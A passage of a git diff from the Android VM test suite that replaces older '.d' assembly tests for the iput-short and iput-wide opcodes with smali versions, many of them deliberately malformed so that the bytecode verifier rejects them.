new file mode 100644
index 0000000..316ff5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_short/d/T_iput_short_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_short_9.java"
+.class  public Ldot/junit/opcodes/iput_short/d/T_iput_short_9;
+.super  Ljava/lang/Object;
+
+.field public st_i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       iput-short v1, v2, Ldot/junit/opcodes/iput_short/d/T_iput_short_9noclass;->st_i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.smali
new file mode 100644
index 0000000..dd5d314
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_1.smali
@@ -0,0 +1,55 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;
+.super Ljava/lang/Object;
+.source "T_iput_wide_1.java"
+
+
+# instance fields
+.field public st_i1:J
+
+.field protected st_p1:J
+
+.field private st_pvt1:J
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public getPvtField()J
+    .registers 3
+
+    iget-wide v0, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_pvt1:J
+
+    return-wide v0
+.end method
+
+.method public run()V
+    .registers 3
+
+    const-wide v0, 0xb55a014129L
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_i1:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.d
deleted file mode 100644
index 1ba4cac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_10.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_10
-.super java/lang/Object
-
-.field public st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_10.st_i1N J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.smali
new file mode 100644
index 0000000..69eae12
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_10.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_10.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_10;->st_i1N:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.d
deleted file mode 100644
index d3401d0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_11.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iput_wide/TestStubs/<init>()V
-       
-       const-wide v1, 1
-       iput-wide v1, v0, dot.junit.opcodes.iput_wide.TestStubs.TestStubFieldFinal J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.smali
new file mode 100644
index 0000000..a581e16
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_11.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_11.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+       new-instance v0, Ldot/junit/opcodes/iput_wide/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/TestStubs;-><init>()V
+       
+       const-wide v1, 1
+       iput-wide v1, v0, Ldot/junit/opcodes/iput_wide/TestStubs;->TestStubFieldFinal:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.d
deleted file mode 100644
index a386a54..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_12.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_12
-.super java/lang/Object
-
-.field public  final st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 77
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_12.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.smali
new file mode 100644
index 0000000..0901158
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_12.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_12;
+.super  Ljava/lang/Object;
+
+.field public  final st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 77
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_12;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.smali
new file mode 100644
index 0000000..ea83e99
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_13.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_13;
+.super Ljava/lang/Object;
+.source "T_iput_wide_13.java"
+
+
+# instance fields
+.field public st_i1:J
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const p0, 0x0
+
+    const-wide v0, 0xb55a014129L
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_13;->st_i1:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.d
deleted file mode 100644
index 22bafcf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_14.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_14
-.super dot/junit/opcodes/iput_wide/d/T_iput_wide_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_wide/d/T_iput_wide_1/<init>()V
-       return-void
-.end method
-
-.method public  getProtectedField()J
-.limit regs 2
-
-       iget-wide v0, v1, dot.junit.opcodes.iput_wide.d.T_iput_wide_1.st_p1 J
-       return-wide v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 77
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_1.st_p1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.smali
new file mode 100644
index 0000000..704d937
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_14.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_14;
+.super  Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public  getProtectedField()J
+.registers 2
+
+       iget-wide v0, v1, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_p1:J
+       return-wide v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 77
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_p1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.d
deleted file mode 100644
index 4e8b2ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_15.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_15
-.super dot/junit/opcodes/iput_wide/d/T_iput_wide_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iput_wide/d/T_iput_wide_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_1.st_pvt1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.smali
new file mode 100644
index 0000000..73fb66a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_15.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_15;
+.super  Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_1;->st_pvt1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.d
deleted file mode 100644
index 058d1dc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_17.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_17
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_17.st_i1 J
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.smali
new file mode 100644
index 0000000..77ddafa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_17.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_17;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_17;->st_i1:J
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.smali
new file mode 100644
index 0000000..5e8dacc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_18.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_18;
+.super Ljava/lang/Object;
+.source "T_iput_wide_18.java"
+
+
+# instance fields
+.field public st_i1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x3f800000    # 1.0f
+
+    iput-wide v1, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_18;->st_i1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.d
deleted file mode 100644
index 8d6dc36..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_2.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_2
-.super java/lang/Object
-
-.field public  st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       iput-wide v0, v2, dot.junit.opcodes.iput_wide.d.T_iput_wide_4.st_i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.smali
new file mode 100644
index 0000000..1cffac5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iput_wide_2.java"
+.class  public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_2;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       iput-wide v0, v2, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_4;->st_i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.smali
new file mode 100644
index 0000000..d29aa3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iput_wide/d/T_iput_wide_20;
+.super Ljava/lang/Object;
+.source "T_iput_wide_20.java"
+
+
+# instance fields
+.field public st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const-wide v0, 0x0
+
+    iput-wide v0, p0, Ldot/junit/opcodes/iput_wide/d/T_iput_wide_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.d
deleted file mode 100644
index 064a9a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iput_wide_21.java
-.class public dot.junit.opcodes.iput_wide.d.T_iput_wide_21
-.super java/lang/Object
-
-.field public  st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const-wide v0, 12    
-       iput-wide v0, v3, dot.junit.opcodes.iput_wide.d.T_iput_wide_21.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.smali
new file mode 100644
index 0000000..387b130
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iput_wide/d/T_iput_wide_21.smali
@@ -0,0 +1,35 @@
